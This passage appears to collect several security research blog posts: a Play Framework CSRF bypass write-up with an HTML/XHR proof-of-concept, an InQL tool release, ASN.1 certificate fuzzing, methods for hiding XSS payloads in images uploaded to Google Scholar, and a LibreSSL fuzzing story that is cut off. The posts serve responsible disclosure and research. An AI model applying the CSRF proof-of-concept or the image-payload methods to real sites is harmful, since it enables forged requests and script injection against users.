is considered invalid by the Akka HTTP parsing code?/p pWe decided to let fuzzing answer that, and quickly discovered that the following transformation worked: code class=language-plaintext highlighter-rougeContent-Type: multipart/form-data; boundary=—some;randomboundaryvalue/code/p pAn extra semicolon inside the boundary value would do the trick and mark the request as illegal:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodePOST /count HTTP/1.1 Host: play.local:9000 ... Content-Type: multipart/form-data;boundary=------;---------------------139501139415121 Content-Length: 0 /code/pre/div/div pResponse/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodeResponse: HTTP/1.1 200 OK ... Content-Type: text/plain; charset=UTF-8 Content-Length: 1 5 /code/pre/div/div pThis is also confirmed by looking at the logs of the server in development mode:/p pcode class=language-plaintext highlighter-rougea.a.ActorSystemImpl - Illegal header: Illegal 'content-type' header: Invalid input 'EOI', exptected tchar, OWS or ws (line 1, column 74): multipart/form-data;boundary=------;---------------------139501139415121/code/p pAnd by instrumenting the Play framework code to print the value of the code class=language-plaintext highlighter-rougeContent-Type/code:/p pcode class=language-plaintext highlighter-rougeContent-Type: None/code/p pFinally, we built the following proof-of-concept and notified our client (along with the Play framework maintainers):/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodelt;htmlgt; lt;bodygt; lt;h1gt;Play Framework CSRF bypasslt;/h1gt; lt;button type=button onclick=poc()gt;PWNlt;/buttongt; lt;p id=demogt;lt;/pgt; lt;scriptgt; function poc() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 amp;amp; this.status == 200) { document.getElementById(demo).innerHTML = this.responseText; } }; xhttp.open(POST, http://play.local:9000/count, true); xhttp.setRequestHeader( Content-type, multipart/form-data; boundary=------;---------------------139501139415121 ); xhttp.withCredentials = true; xhttp.send(); } lt;/scriptgt; lt;/bodygt; lt;/htmlgt; /code/pre/div/div h2 id=credits--disclosureCredits amp; Disclosure/h2 pThis vulnerability was discovered by a href=https://www.linkedin.com/in/kevin-joensen-1ab96a82/Kevin Joensen/a and reported to the Play framework via a href=mailto:[email protected]@playframework.com/a on emApril 24, 2020/em. This issue was fixed on Play 2.8.2 and 2.7.5. a href=https://www.playframework.com/security/vulnerability/CVE-2020-12480-CsrfBlacklistBypassCVE-2020-12480/a and all details have been published by the vendor on emAugust 10, 2020/em. Thanks to James Roper of Lightbend for the assistance./p

InQL Scanner v2 is out!

10 June 2020 at 22:00
h3 id=inql-dyno-mites-releaseInQL dyno-mites release/h3 pAfter the public a href=https://blog.doyensec.com/2020/03/26/graphql-scanner.htmllaunch of InQL/a we received an overwhelming response from the community. strongWe’re excited to announce a new major release a href=https://github.com/doyensec/inqlavailable on Github/a/strong. In this version em(codenamed dyno-mites)/em, we have introduced a few cool features and a new logo!/p div style=text-align: center; img src=../../../public/images/inql.png title=InQL Logo alt=InQL Logo align=center style=display: block; margin-left: auto; margin-right: auto; width: 350px; / /div h4 id=jython-standalone-guiJython Standalone GUI/h4 pAs you might know, emInQL/em can be used as a stand-alone tool, or as a a href=https://portswigger.net/burpBurp Suite/a extension (available for both Professional and Community editions). Using GraphQL built-in a href=https://graphql.org/learn/introspection/introspection query/a, the tool collects queries, mutations, subscriptions, fields, arguments, etc to automatically generate query templates that can be used for QA / security testing./p pIn this release, we introduced the ability to have a Jython standalone GUI similar to the Burp’s one:/p div class=language-bash highlighter-rougediv class=highlightpre class=highlightcodespan class=nv$ /spanbrew span class=nbinstall /spanjython span class=nv$ /spanjython span class=nt-m/span pip span class=nbinstall /spaninql span class=nv$ /spanjython span class=nt-m/span inql /code/pre/div/div h4 id=advanced-query-editorAdvanced Query Editor/h4 pMany users have asked for syntax highlighting and code completion. emEt Voila!/em/p div style=text-align: center; img src=../../../public/images/inql_v2_embed.png title=InQL GraphiQL alt=InQL GraphiQL align=center style=display: block; margin-left: auto; margin-right: auto; / /div pInQL v2 includes an a href=https://github.com/graphql/graphiqlstrongembedded GraphiQL server/strong/a. This server works as a proxy and handles all the requests, enhancing them with authorization headers. a href=https://github.com/graphql/graphiqlGraphiQL server/a improves the overall InQL experience by providing an advanced query editor with strongautocompletion/strong and other useful features. We also introduced stubbing of introspection queries when introspection is not available./p pWe imagine people working between GraphiQL, InQL and other Burp Suite tools hence we included a custom “Send to GraphiQL” / “Send To Repeater” flow to be able to move queries back and forth between the tools./p div style=text-align: center; img src=../../../public/images/inql_v2_flow.jpg title=InQL v2 Flow alt=InQL v2 Flow align=center style=display: block; margin-left: auto; margin-right: auto; / /div h4 id=tabbed-editor-with-multi-query-and-variables-supportTabbed Editor with Multi-Query and Variables support/h4 pBut that’s not all. On the a href=https://portswigger.net/burpBurp Suite/a extension side, InQL is now handling a href=https://graphql.org/learn/best-practices/#server-side-batching-cachingstrongbatched-queries/strong/a and strongsearching inside queries/strong./p div style=text-align: center; img src=../../../public/images/inql_v2_editor.gif title=InQL v2 Editor alt=InQL v2 Editor align=center style=display: block; margin-left: auto; margin-right: auto; / /div pThis was possible through re-engineering the editor in use (e.g. the default Burp text editor) and including a new tabbed interface able to sync between multiple representation of these queries./p h4 id=bapp-storeBApp Store/h4 pFinally, InQL is now available on the Burp Suite’s a href=https://portswigger.net/bappstore/296e9a0730384be4b2fffef7b4e19b1fBApp store/a so that you can easily install the extension from within Burp’s emextension/em tab./p video controls= preload=auto width=100% height=100% poster=/public/images/inql_preview.png source src=/public/images/inql_v2_demo.mp4 type=video/mp4 / Your browser does not support the video tag. /video h4 id=stay-tunedStay tuned!/h4 pIn just three months, InQL has become the emgo-to/em utility for GraphQL security testing. We received a lot of positive feedback and decided to double down on the development. We will keep improving the tool based on users’ feedback and the experience we gain through our a href=https://doyensec.com/auditing.htmlGraphQL security testing services/a./p pThis project was crafted with love in the a href=https://doyensec.com/research.htmlDoyensec Research Island/a./p

Fuzzing TLS certificates from their ASN.1 grammar

13 May 2020 at 22:00
pA good part of my research time at Doyensec was devoted to building a flexible ASN.1 grammar-based fuzzer for testing TLS certificate parsers. I learned a lot in the process, but I often struggled to find good resources on these topics. In this blogpost I want to give a high-level overview of the problem, the approach I’m taking, and some pointers which might hopefully save a little time for other fellow security researchers./p pLet’s start with some basics./p h2 id=what-is-a-tls-certificateWhat is a TLS certificate?/h2 pemA TLS certificate is a DER-encoded object conforming to the ASN.1 grammar and constraints defined in a href=https://tools.ietf.org/html/rfc5280RFC 5280/a, which is based on the ITU X.509 standard./em/p pThat’s a lot of information to unpack, let’s take it one piece at a time./p h3 id=asn1ASN.1/h3 pstrongASN.1/strong (emAbstract Syntax Notation One/em) is a grammar used to define abstract objects. You can think of it as a much older and more complicated version of Protocol Buffers. ASN.1 however does not define an encoding, which is left to other standards. This language was designed by ITU and it is extremely powerful and general purpose./p pThis is how a message in a chat protocol might be defined:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodeMessage ::= SEQUENCE { senderId INTEGER, recipientId INTEGER, message UTF8String, sendTime GeneralizedTime, ... } /code/pre/div/div pAt this first sight, ASN.1 might even seem quite simple and intuitive. But don’t be fooled! ASN.1 contains a lot of vestigial and complex features. For a start, it has ~13 string types. Constraints can be placed on fields, for instance, integers and the string sizes can be restricted to an acceptable range./p pThe real complexity beasts however are eminformation objects/em, emparametrization/em and emtabular constraints/em. Information objects allows the definition of templates for data types and a grammar to declare instances of that template (oh yeah…defining a grammar within a grammar!)./p pThis is how a template for different message types could be defined:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcode-- Definition of the MESSAGE-CLASS information object class MESSAGE-CLASS ::= CLASS { messageTypeId INTEGER UNIQUE amp;payload [1] OPTIONAL, ... } WITH SYNTAX { MESSAGE-TYPE-ID amp;messageTypeId [PAYLOAD amp;payload] } -- Definition of some message types TextMessageKinds MESSAGE-CLASS ::= { -- Text message {MESSAGE-TYPE-ID 0, PAYLOAD UTF8String} -- Read ACK (no payload) | {MESSAGE-TYPE-ID 1, PAYLOAD Sequence { ToMessageId INTEGER } } } MediaMessageKinds MESSAGE-CLASS ::= { -- JPEG {MESSAGE-TYPE-ID 2, PAYLOAD OctetString} } /code/pre/div/div pParametrization allows the introduction of parameters in the specification of a type:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodeMessage {MESSAGE-CLASS : MessageClass} ::= SEQUENCE { messageId INTEGER, senderId INTEGER, recipientId INTEGER, sendTime GeneralizedTime, messageTypeId MESSAGE-CLASS.amp;messageTypeId ({MessageClass}), payload MESSAGE-CLASS.amp;payload ({MessageClass} {@messageTypeId}) } /code/pre/div/div pWhile a complete overview of the format is not within the scope of this post, a very good entry-level, but quite comprehensive, resource I found is this a href=https://www.zytrax.com/tech/survival/asn1.htmlASN1 Survival guide/a. The nitty-gritty details can be found in the ITU standards X.680 to X.683./p pPowerful as it may be, ASN.1 suffers from a large practical problem - it lacks a wide choice of compilers (parser generators), especially non-commercial ones. Most of them do not implement advanced features like information objects. This means that more often than not, data structures defined using ASN.1 are serialized and unserialized by handcrafted code instead of an autogenerated parser. This is also true for many libraries handling TLS certificates./p h3 id=derDER/h3 pDER (emDistinguished Encoding Rules/em) is an encoding used to translate an ASN.1 object into bytes. It is a simple Tag-Length-Value format: each element is encoded by appending its type (tag), the length of the payload, and the payload itself. Its rules ensure there is only one valid representation for any given object, a useful property when dealing with digital certificates that must be signed and checked for anomalies./p pThe details of how DER works are not relevant to this post. A good place to start is a href=http://luca.ntop.org/Teaching/Appunti/asn1.htmlhere/a./p h3 id=rfc-5280-and-x509RFC 5280 and X.509/h3 pThe format of the digital certificates used in TLS is defined in some RFCs, most importantly a href=https://tools.ietf.org/html/rfc5280RFC 5280/a (and then in a href=https://tools.ietf.org/html/rfc5912RFC 5912/a, updated for ASN.1 2002). The specification is based on the ITU X.509 standard./p pThis is what the outermost layer of a TLS certificate contains:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodeCertificate ::= SEQUENCE { tbsCertificate TBSCertificate, signatureAlgorithm AlgorithmIdentifier, signature BIT STRING } TBSCertificate ::= SEQUENCE { version [0] Version DEFAULT v1, serialNumber CertificateSerialNumber, signature AlgorithmIdentifier, issuer Name, validity Validity, subject Name, subjectPublicKeyInfo SubjectPublicKeyInfo, issuerUniqueID [1] IMPLICIT UniqueIdentifier OPTIONAL, -- If present, version MUST be v2 or v3 subjectUniqueID [2] IMPLICIT UniqueIdentifier OPTIONAL, -- If present, version MUST be v2 or v3 extensions [3] Extensions OPTIONAL -- If present, version MUST be v3 -- } /code/pre/div/div pYou may recognize some of these fields from inspecting a certificate using a browser integrated viewer./p div style=text-align: center; img src=../../../public/images/browsercert.png title=Doyensec X509 certificate alt=Doyensec X509 certificate align=center style=display: block; margin-left: auto; margin-right: auto; / /div pFinding out what exactly should go inside a TLS certificate and how it should be interpreted was not an easy task - specifications were scattered inside a lot of RFCs and other standards, sometimes with partial or even conflicting information. Some a href=http://www.cs.auckland.ac.nz/~pgut001/pubs/x509guide.txtdocuments from the recent past/a offer a good insight into the number of contradictory interpretations. Nowadays there seems to be more convergence, and a good place to start when looking for how a TLS certificate should be handled is the RFCs together with a couple of widely used TLS libraries./p h2 id=fuzzing-tls-starting-from-asn1Fuzzing TLS starting from ASN.1/h2 h3 id=previous-workPrevious work/h3 pAll the high profile TLS libraries include some fuzzing harnesses directly in their source tree and most are even continuously fuzzed (like LibreSSL which is a href=https://blog.doyensec.com/2020/04/08/libressl-fuzzer.htmlnow included in oss-fuzz/a thanks to my colleague Andrea). Most libraries use tried-and-tested fuzzers like AFL or libFuzzer, which are not encoding or syntax aware. This very likely means that many cycles are wasted generating and testing inputs which are rejected early by the parsers./p pX.509 parsers have been fuzzed using many approaches. a href=http://www.cs.columbia.edu/~suman/docs/frankencert.pdfFrankencert/a, for instance, generates certificates by combining parts from existing ones, while a href=https://github.com/franziskuskiefer/CertificateFuzzerCertificateFuzzer/a uses a hand-coded grammar. Some fuzzing efforts are more targeted towards discovering memory-corruption types of bugs, while others are more geared towards discovering logic bugs, often comparing the behavior of multiple parsers side by side to detect inconsistencies./p h3 id=asn1fuzzASN1Fuzz/h3 pI wanted a tool capable of generating valid inputs from an ASN.1 grammar, so that I can slightly break them and hopefully find some vulnerabilities. I couldn’t find any tool accepting ASN.1 grammars, so I decided to build one myself./p pAfter a lot of experimentation and three full rewrites, I have a pipeline that generates valid X509 certificates which looks like this/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcode +-------+ | ASN.1 | +---+---+ | pycrate | +-------v--------+ +--------------+ | Python classes | | User Hooks | +-------+--------+ +-------+------+ | | +-----------+-------------+ | Generator | | +---v---+ | | | AST | | | +---+---+ | Encoder | +-----v------+ | | | Output | | | +------------+ /code/pre/div/div pFirst, I compile the ASN.1 grammar using a href=https://github.com/P1sec/pycrate/pycrate/a, one of the few FOSS compilers that support most of the advanced features of ASN.1./p pThe output of the compiler is fed into the code class=language-plaintext highlighter-rougeGenerator/code. With a lot of introspection inside the pycrate classes, this component generates random ASTs conforming to the input grammar. The ASTs can be fed to an encoder (e.g. DER) to create a binary output suitable for being tested with the target application./p pCertificates produced like this would not be valid, because many constraints are not encoded in the syntax. Moreover, I wanted to give the user total freedom to manipulate the generator behavior. To solve this problem I developed a handy hooking system which allows overrides at any point in the generator:/p div class=language-python highlighter-rougediv class=highlightpre class=highlightcodespan class=knfrom/span span class=nnpycrate_asn1dir.X509_2016/span span class=knimport/span span class=nAuthenticationFramework/span span class=knfrom/span span class=nngenerator/span span class=knimport/span span class=nGenerator/span span class=nspec/span span class=o=/span span class=nAuthenticationFramework/spanspan class=p./spanspan class=nCertificate/span span class=ncert_generator/span span class=o=/span span class=nGenerator/spanspan class=p(/spanspan class=nspec/spanspan class=p)/span span [email protected]/spanspan class=ncert_generator/spanspan class=p./spanspan class=nvalue_hook/spanspan class=p(/spanspan class=sCertificate/toBeSigned/validity/notBefore/.*/spanspan class=p)/span span class=kdef/span span class=nfgenerate_notBefore/spanspan class=p(/spanspan class=ngenerator/spanspan class=p:/span span class=nGenerator/spanspan class=p,/span span class=nnode/spanspan class=p):/span span class=nnow/span span class=o=/span span class=nbint/spanspan class=p(/spanspan class=ntime/spanspan class=p./spanspan class=ntime/spanspan class=p())/span span class=nstart/span span class=o=/span span class=nnow/span span class=o-/span span class=mi10/span span class=o*/span span class=mi365/span span class=o*/span span class=mi24/span span class=o*/span span class=mi60/span span class=o*/span span class=mi60/span span class=c1# 10 years ago /span span class=kreturn/span span class=nrandom/spanspan class=p./spanspan class=nrandint/spanspan class=p(/spanspan class=nstart/spanspan class=p,/span span class=nnow/spanspan class=p)/span span [email protected]/spanspan class=ncert_generator/spanspan class=p./spanspan class=nnode_hook/spanspan class=p(/spanspan class=sCertificate/toBeSigned/extensions/_item_[^/]*//span \ span class=sextnValue/ExtnType/_cont_ExtnType/keyIdentifier/spanspan class=p)/span span class=kdef/span span class=nfforce_akid_generation/spanspan class=p(/spanspan class=ngenerator/spanspan class=p:/span span class=nGenerator/spanspan class=p,/span span class=nnode/spanspan class=p):/span span class=c1# keyIdentifier should be present unless the certificate is self-signed /span span class=kreturn/span span class=ngenerator/spanspan class=p./spanspan class=ngenerate_node/spanspan class=p(/spanspan class=nnode/spanspan class=p,/span span class=nignore_hooks/spanspan class=o=/spanspan class=bpTrue/spanspan class=p)/span span [email protected]/spanspan class=ncert_generator/spanspan class=p./spanspan class=nvalue_hook/spanspan class=p(/spanspan class=sCertificate/signature/spanspan class=p)/span span class=kdef/span span class=nfgenerate_signature/spanspan class=p(/spanspan class=ngenerator/spanspan class=p:/span span class=nGenerator/spanspan class=p,/span span class=nnode/spanspan class=p):/span span class=c1# (... compute signature ...) /span span class=kreturn/span span class=p(/spanspan class=nsig/spanspan class=p,/span span class=nsiglen/spanspan class=p)/span /code/pre/div/div pThe AST generated by this pipeline can be already used for differential testing. For instance, if a library accepts the certificate while others don’t, there may be a problem that requires manual investigation./p pIn addition, the ASTs can be mutated using a a href=https://github.com/AFLplusplus/AFLplusplus/blob/master/docs/custom_mutators.mdcustom mutator for AFL++/a which performs random operations on the tree./p pASN1Fuzz is currently research-quality code, but I do aim at open sourcing it at some point in the future. Since the generation starts from ASN.1 grammars, the tool is not limited to generating TLS certificates, and it could be leveraged in fuzzing a a href=https://www.itu.int/en/ITU-T/asn1/Pages/Application-fields-of-ASN-1.aspxplethora of other protocols/a./p pStay tuned for the next blog post where I will present the results from this research!/p

Researching Polymorphic Images for XSS on Google Scholar

29 April 2020 at 22:00
pA few months ago I came across a curious design pattern on a href=https://scholar.google.com/Google Scholar/a. Multiple screens of the web application were fetched and rendered using a combination of code class=language-plaintext highlighter-rougelocation.hash/code parameters and XHR to retrieve the supposed templating snippets from a relative URI, rendering them on the page unescaped./p div style=text-align: center; img src=../../../public/images/scholar-issue.png title=Google Scholar's design pattern alt=Google Scholar's design pattern align=center style=display: block; margin-left: auto; margin-right: auto; / /div pThis is not dangerous per se, unless the platform lets users upload arbitrary content and serve it from the same origin, which unfortunately Google Scholar does, given its image upload functionality./p pWhile any penetration tester worth her salt would deem the exploitation of the issue trivial, Scholar’s image processing backend was applying different transformations to the uploaded images (i.e. stripping metadata and reprocessing the picture). When reporting the vulnerability, Google’s VRP team did not consider the upload of a polymorphic image carrying a valid XSS payload possible, and instead requested a PoC||GTFO./p pGiven the age of this technique, I first went through all past “well-known” techniques to generate polymorphic pictures, and then developed a test suite to investigate the behavior of some of the most popular libraries for image processing (i.e. Imagemagick, GraphicsMagick, Libvips). This effort led to the discovery of some interesting caveats. Some of these methods can also be used to conceal web shells or Javascript content to a href=https://portswigger.net/research/bypassing-csp-using-polyglot-jpegsbypass “self” CSP directives/a./p h3 id=payload-in-exifPayload in EXIF/h3 pThe easiest approach is to embed our payload in the metadata of the image. In the case of JPEG/JFIF, these pieces of metadata are stored in application-specific markers (called code class=language-plaintext highlighter-rougeAPPX/code), but they are not taken into account by the majority of image libraries. a href=https://exiftool.org/Exiftool/a is a popular tool to edit those entries, but you may find that in some cases the characters will get entity-escaped, so I resorted to inserting them manually. In the hope of Google’s Scholar preserving some whitelisted EXIFs, I created an image having 1.2k common EXIF tags, including a href=http://www.cipa.jp/std/std-sec_e.htmlCIPA/a standard and non-standard tags./p div style=text-align: center; img src=../../../public/images/payload_in_all_known_metadata.jpg title=JPG having the plain XSS alert() payload in every common metadata field alt=JPG having the plain XSS alert() payload in every common metadata field align=center style=padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto; / img src=../../../public/images/payload_in_all_known_metadata.png title=PNG having the plain XSS alert() payload in every common metadata field alt=PNG having the plain XSS alert() payload in every common metadata field align=center style=padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto; / /div pWhile that didn’t work in my case, some of the EXIF entries are to this day kept in many popular web platforms. In most of the image libraries tested, PNG metadata is always kept when converting from PNG to PNG, while they are always lost from PNG to JPG./p h3 id=payload-concatenated-at-the-end-of-the-image-after-0xffd9-for-jpgs-or-iend-for-pngsPayload concatenated at the end of the image (after 0xFFD9 for JPGs or IEND for PNGs)/h3 pThis technique will only work if no transformations are performed on the uploaded image, since only the image content is processed./p div style=text-align: center; img src=../../../public/images/payload_in_trailer.jpg title=JPG having the plain XSS alert() payload after the trailing 0xFFD9 chunk alt=JPG having the plain XSS alert() payload after the trailing 0xFFD9 chunk align=center style=width: 250px; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto; / img src=../../../public/images/payload_in_trailer.png title=PNG having the plain XSS alert() payload after the trailing IEND chunk alt=PNG having the plain XSS alert() payload after the trailing IEND chunk align=center style=width: 250px; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto; / /div pAs the name suggests, the trick involves appending the JavaScript payload at the end of the image format./p h3 id=payload-in-pngs-idatPayload in PNG’s iDAT/h3 pIn PNGs, the iDAT chunk stores the pixel information. Depending on the transformations applied, you may be able to directly insert your raw payload in the iDAT chunks or you may a href=https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/try to bypass/a the resize and re-sampling operations. Google’s Scholar only generated JPG pictures so I could not leverage this technique./p h3 id=payload-in-jpgs-ecsPayload in JPG’s ECS/h3 pIn the JFIF standard, the entropy-coded data segment (ECS) contains the output of the raw Huffman-compressed bitstream which represents the Minimum Coded Unit (MCU) that comprises the image data. In theory, it is possible to position our payload in this segment, but there are no guarantees that our payload will survive the transformation applied by the image library on the server. Creating a JPG image resistant to the transformations caused by the library was a process of trial and error./p pAs a starting point I crafted a “base” image with the same quality factors as the images resulting from the conversion. For this I ended up using a href=https://github.com/ianare/exif-samples/blob/master/jpg/tests/67-0_length_string.jpgthis image/a having 0-length-string EXIFs. Even though having the payload positioned at a variable offset from the beginning of the section did not work, I found that when processed by Google Scholar the first bytes of the image’s ECS section were kept if separated by a pattern of code class=language-plaintext highlighter-rouge0x00/code and code class=language-plaintext highlighter-rouge0x14/code bytes./p div style=text-align: center; img src=../../../public/images/ecs-xss-hex-view.png title=Hexadecimal view of the JFIF structure, with the payload visible in the ECS section alt=Hexadecimal view of the JFIF structure, with the payload visible in the ECS section align=center style=padding: 2px; border-radius: 5px; display: inline-block; margin-left: auto; margin-right: auto; / /div pFrom here it took me a little time to find the right sequence of bytes allowing the payload to survive the transformation, since the majority of user agents were not tolerating low-value bytes in the script tag definition of the page. For anyone interested, we have made available the images embedding the a href=/public/images/onclick-xss-ecs.jpegonclick/a and a href=/public/images/mouseover-xss-ecs.jpegmouseover/a events. Our image library test suite is available on Github as a href=https://github.com/doyensec/StandardizedImageProcessingTestdoyensec/StandardizedImageProcessingTest/a./p div style=text-align: center; img src=../../../public/images/scholar-xss-poc-proof.png title=Exploitation result of the XSS PoC on Scholar alt=Exploitation result of the XSS PoC on Scholar align=center style=padding: 2px; border-radius: 5px; display: inline-block; margin-left: auto; margin-right: auto; / /div h2 id=timelineTimeline/h2 ul listrong[2019-09-28]/strong emReported to Google VRP/em/li listrong[2019-09-30]/strong emGoogle’s VRP requested a PoC/em/li listrong[2019-10-04]/strong emProvided PoC #1/em/li listrong[2019-10-10]/strong emGoogle’s VRP requested a different payload for PoC/em/li listrong[2019-10-11]/strong emProvided PoC #2/em/li listrong[2019-11-05]/strong emGoogle’s VRP confirmed the issue in 2 endpoints, rewarded $6267.40/em/li listrong[2019-11-19]/strong emGoogle’s VRP found another XSS using the same technique, rewarded an additional $3133.70/em/li /ul

LibreSSL and OSS-Fuzz

7 April 2020 at 22:00
h1 id=the-story-of-a-fuzzing-integration-rewardThe story of a fuzzing integration reward/h1 pIn my first month at Doyensec I had the opportunity to bring together both my work and my spare time hobbies. I used the 25% research time offered by Doyensec to integrate the a href=https://www.libressl.org/LibreSSL/a library into a href=https://opensource.google.com/projects/oss-fuzzOSS-Fuzz/a. LibreSSL is an API compatible replacement for a href=https://www.openssl.org/OpenSSL/a, and after the a href=http://heartbleed.com/heartbleed/a attack, it is considered as a full-fledged replacement of OpenSSL on a href=https://www.openbsd.orgOpenBSD/a, a href=https://www.apple.com/macosmacOS/a and a href=https://voidlinux.org/VoidLinux/a./p div style=text-align: center; img src=../../../public/images/libressl.jpg title=OSS-Fuzz Fuzzying Process alt=OSS-Fuzz Fuzzying Process align=center style=display: block; margin-left: auto; margin-right: auto; / /div pContextually to this research, we were a href=https://www.google.com/about/appsecurity/patch-rewards/awarded by Google/a a strong$10,000 bounty/strong, 100% of which was donated to the a href=https://www.cancerresearch.org/join-the-cause/donateCancer Research Institute/a. The fuzzer also discovered strong14+ new vulnerabilities/strong and four of these were directly related to memory corruption./p pIn the following paragraphs we will walk through the process of porting a new project over to a href=https://opensource.google.com/projects/oss-fuzzOSS-Fuzz/a from following the community provided steps all the way to the actual code porting and we will also show a vulnerability fixed in a href=https://github.com/libressl-portable/openbsd/commit/136e6c997f476cc65e614e514ac3bf6ee54fc4b4code class=language-plaintext highlighter-rouge136e6c997f476cc65e614e514ac3bf6ee54fc4b4/code/a./p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodecommit 136e6c997f476cc65e614e514ac3bf6ee54fc4b4 Author: beck lt;gt; Date: Sat Mar 23 18:48:15 2019 +0000 Add range checks to varios ASN1_INTEGER functions to ensure the sizes used remain a positive integer. Should address issue 13799 from oss-fuzz ok [email protected] [email protected] src/lib/libcrypto/asn1/a_int.c | 56 +++++++++++++++++++++++++++++++++++++++++++++++++++++--- src/lib/libcrypto/asn1/tasn_prn.c | 8 ++++++-- src/lib/libcrypto/bn/bn_lib.c | 4 +++- 3 files changed, 62 insertions(+), 6 deletions(-) /code/pre/div/div h2 id=the-foss-historician-blurry-bookThe FOSS historician blurry book/h2 pAs a a href=https://voidlinux.org/voidlinux maintainer/a, I’m a long time a href=https://www.libressl.org/LibreSSL/a user and proponent. a href=https://www.libressl.org/LibreSSL/a is a version of the TLS/crypto stack forked from OpenSSL in 2014 with the goals of modernizing the codebase, improving security, and applying best practice development procedures. The motivation for this kind of fork arose after the discovery of the a href=http://heartbleed.com/Heartbleed/a vulnerability./p pa href=https://www.libressl.org/LibreSSL/a’s efforts are aimed at removing code considered useless for the target platforms, removing code smells and including additional secure defaults at the cost of compatibility. The a href=https://www.libressl.org/LibreSSL/a codebase is now nearly 70% the size of a href=https://www.openssl.org/OpenSSL/a (237558 cloc vs 335485 cloc), while implementing a similar API on all the major modern operating systems./p blockquote pForking is considered a Bad Thing not merely because it implies a lot of wasted effort in the future, but because forks tend to be accompanied by a great deal of strife and acrimony between the successor groups over issues of legitimacy, succession, and design direction. There is serious social pressure against forking. As a result, major forks (such as the Gnu-Emacs/XEmacs split, the fissioning of the 386BSD group into three daughter projects, and the short-lived GCC/EGCS split) are rare enough that they are remembered individually in hacker folklore.br /br /emEric Raymond/em strongHomesteading the Noosphere/strong/p /blockquote pThe a href=https://www.libressl.org/LibreSSL/a effort was generally well received and it now replaces a href=https://www.openssl.org/OpenSSL/a on a href=https://www.openbsd.orgOpenBSD/a, a href=https://www.apple.com/macosmacOS/a since 10.11 and on many other Linux distributions. In the first few years 6 critical vulnerabilities were found in OpenSSL and none of them affected a href=https://www.libressl.org/LibreSSL/a./p pHistorically, these kinds of forks tend to spawn competing projects which cannot later exchange code, splitting the potential pool of developers between them. However, the a href=https://www.libressl.org/LibreSSL/a team has largely demonstrated of being able to merge and implement new OpenSSL code and bug fixes, all the while slimming down the original source code and cutting down on rarely used or dangerous features./p h2 id=oss-fuzz-selectionOSS-Fuzz Selection/h2 pWhile the development of a href=https://www.libressl.org/LibreSSL/a appears to be a story with an happy ending, the integration of fuzzing and security auditing into the project was much less so. The a href=http://heartbleed.com/Heartbleed/a vulnerability was like a wakeup call to the industry for tackling the security of libraries that make up the core of the internet. In particular, Google opened up a href=https://opensource.google.com/projects/oss-fuzzOSS-Fuzz project/a. a href=https://opensource.google.com/projects/oss-fuzzOSS-Fuzz/a is an effort to provide, for free, Google infrastructure to perform a href=https://en.wikipedia.org/wiki/Fuzzingfuzzing/a against the most popular open source libraries. One of the first projects performing these tests was in fact a href=https://www.openssl.org/Openssl/a./p div style=text-align: center; img src=../../../public/images/oss-fuzz.png title=OSS-Fuzz Fuzzying Process alt=OSS-Fuzz Fuzzying Process align=center style=display: block; margin-left: auto; margin-right: auto; / /div pa href=https://en.wikipedia.org/wiki/FuzzingFuzz testing/a is a well-known technique for uncovering programming errors in software. Many of these detectable errors, like a href=https://en.wikipedia.org/wiki/Buffer_overflowbuffer overflows/a, can have serious security implications. a href=https://www.openssl.org/OpenSSL/a included fuzzers in a href=https://github.com/openssl/openssl/commit/c38bb72797916f2a0ab9906aad29162ca8d53546code class=language-plaintext highlighter-rougec38bb72797916f2a0ab9906aad29162ca8d53546/code/a and was integrated into a href=https://opensource.google.com/projects/oss-fuzzOSS-Fuzz/a later in 2016./p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodecommit c38bb72797916f2a0ab9906aad29162ca8d53546 Refs: OpenSSL_1_1_0-pre5-217-gc38bb72797 Author: Ben Laurie lt;[email protected]; AuthorDate: Sat Mar 26 17:19:14 2016 +0000 Commit: Ben Laurie lt;[email protected]; CommitDate: Sat May 7 18:13:54 2016 +0100 Add fuzzing! /code/pre/div/div pSince both a href=https://www.libressl.org/LibreSSL/a and a href=https://www.openssl.org/OpenSSL/a share most of their codebase, with a href=https://www.libressl.org/LibreSSL/a mainly implementing a secure subset of OpenSSL, we thought porting the a href=https://www.openssl.org/OpenSSL/a fuzzers to a href=https://www.libressl.org/LibreSSL/a would have been a fun and useful project. Moreover, this resulted in the discovery of several memory related corruption bugs./p pTo be noted, the following details won’t replace the official a href=https://opensource.google.com/projects/oss-fuzzOSS-Fuzz/a guide but will instead help in selecting a good target project for a href=https://opensource.google.com/projects/oss-fuzzOSS-Fuzz/a integration. Generally speaking applying for a new a href=https://opensource.google.com/projects/oss-fuzzOSS-Fuzz/a integration proceeds in four logical steps:/p ul listrongSelection:/strong Select a new project that isn’t yet ported. Check for existing projects in a href=https://github.com/google/oss-fuzz/tree/master/projectsOSS-Fuzz projects directory/a. For example, check if somebody already tried to perform the same integration in a a href=https://github.com/google/oss-fuzz/pullspull-request/a./li listrongFeasibility:/strong Check the feasibility and the security implications of that project on the Internet. As a general guideline, the more impact the project has on the everyday usage of the web the bigger the bounty will be. At the time of writing, a href=https://opensource.google.com/projects/oss-fuzzOSS-Fuzz/a bounties are up to $20,000 with the a href=https://www.google.com/about/appsecurity/patch-rewards/Google patch-reward program/a. On the other hand, good coverage is expected to be developed for any integration. For this reason it is easier to integrate projects that already employ fuzzers./li listrongTechnical integration:/strong Follow the super detailed a href=https://google.github.io/oss-fuzz/getting-started/accepting-new-projects/getting started guide/a to perform an initial integration./li listrongProfit:/strong Apply for the a href=https://www.google.com/about/appsecurity/patch-rewards/Google patch-reward program/a. Profit?!/li /ul pWe 